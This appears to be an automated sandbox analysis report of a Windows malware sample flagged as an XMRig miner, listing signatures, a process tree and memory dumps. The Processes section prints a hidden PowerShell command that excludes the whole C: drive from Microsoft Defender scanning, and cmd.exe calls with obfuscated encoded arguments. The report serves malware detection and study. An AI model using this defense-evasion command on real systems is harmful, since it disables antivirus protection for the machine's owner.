Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
17/09/2026, 11:58
General
- Target 2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe
- Size 6.3MB
- Sample260917-n449eaep2w
- SHA256 6f0bb2b26e591fb98b28c3cceb4f1966310f325f3bac93f61eed55578bc8da66
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- XMRig Miner payload 14 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Downloads MZ/PE file
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force; Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" --encargs 6c490906002010084402241208054e724440064e39091f19012e08430c1b7b51585c5b6149184956752c282125783d2703080c33051a2c2b252a3839070d0e08220d1e1c02072f17090d360a20345828325254233b0d525c3d372e5d2a5a3c2451273139135104250d760215230b36153f0f5b74203d3b1c2f210c3f2c76323e3823221658004e6c144d114e6c490e191b6c090c1143350c1f0c0f25174001072f1050505e61490c491c394b5d2⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" --encargs 6c490906002010084402241208054e724440064e39091f19012e08430c1b7b51585c5b6149184956752c282125783d2703080c33051a2c2b252a3839070d0e08220d1e1c02072f17090d360a20345828325254233b0d525c3d372e5d2a5a3c2451273139135104250d760215230b36153f0f5b74203d3b1c2f210c3f2c76323e3823221658004e6c144d114e6c490e191b6c090c1143350c1f0c0f25174001072f1050505e61490c491c394b5d2⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exeC:\Users\Admin\AppData\Roaming\Microsoft\2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force; Add-MpPreference -ExclusionPath 'C:\' -Force -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_dnetj1ji.qun.ps1
2026-09-17_856df572b0756022b3d87b604d16528d_cobalt-strike_glassworm_icedid_njrat_quasar-rat_vidar.exe
memory/1636-49-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-57-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-55-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-53-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-51-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-59-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-47-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-45-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-43-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-41-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-39-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-61-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/1636-63-0x00007FF779330000-0x00007FF779C17000-memory.dmp
memory/2556-12-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-15-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-22-0x0000022CEC5C0000-0x0000022CEC5DE000-memory.dmp
memory/2556-24-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-1-0x00007FFFF3D4F000-0x00007FFFF3D50000-memory.dmp
memory/2556-20-0x0000022CEC290000-0x0000022CEC342000-memory.dmp
memory/2556-19-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-18-0x0000022CEC270000-0x0000022CEC28E000-memory.dmp
memory/2556-4-0x0000022CD39F0000-0x0000022CD3A12000-memory.dmp
memory/2556-5-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-6-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-7-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-8-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-21-0x0000022CEC050000-0x0000022CEC05A000-memory.dmp
memory/2556-14-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-13-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-9-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-11-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2556-10-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp
memory/2852-32-0x000002A6C7C70000-0x000002A6C7D22000-memory.dmp
memory/3660-36-0x00007FF627520000-0x00007FF627E07000-memory.dmp
memory/3660-33-0x00000296C1790000-0x00000296C17B0000-memory.dmp
memory/3712-35-0x00007FF708230000-0x00007FF708474000-memory.dmp
memory/5752-0-0x0000018FAE600000-0x0000018FAE601000-memory.dmp
memory/5752-38-0x00007FF634BE0000-0x00007FF634E24000-memory.dmp
memory/5752-25-0x00007FF634BE0000-0x00007FF634E24000-memory.dmp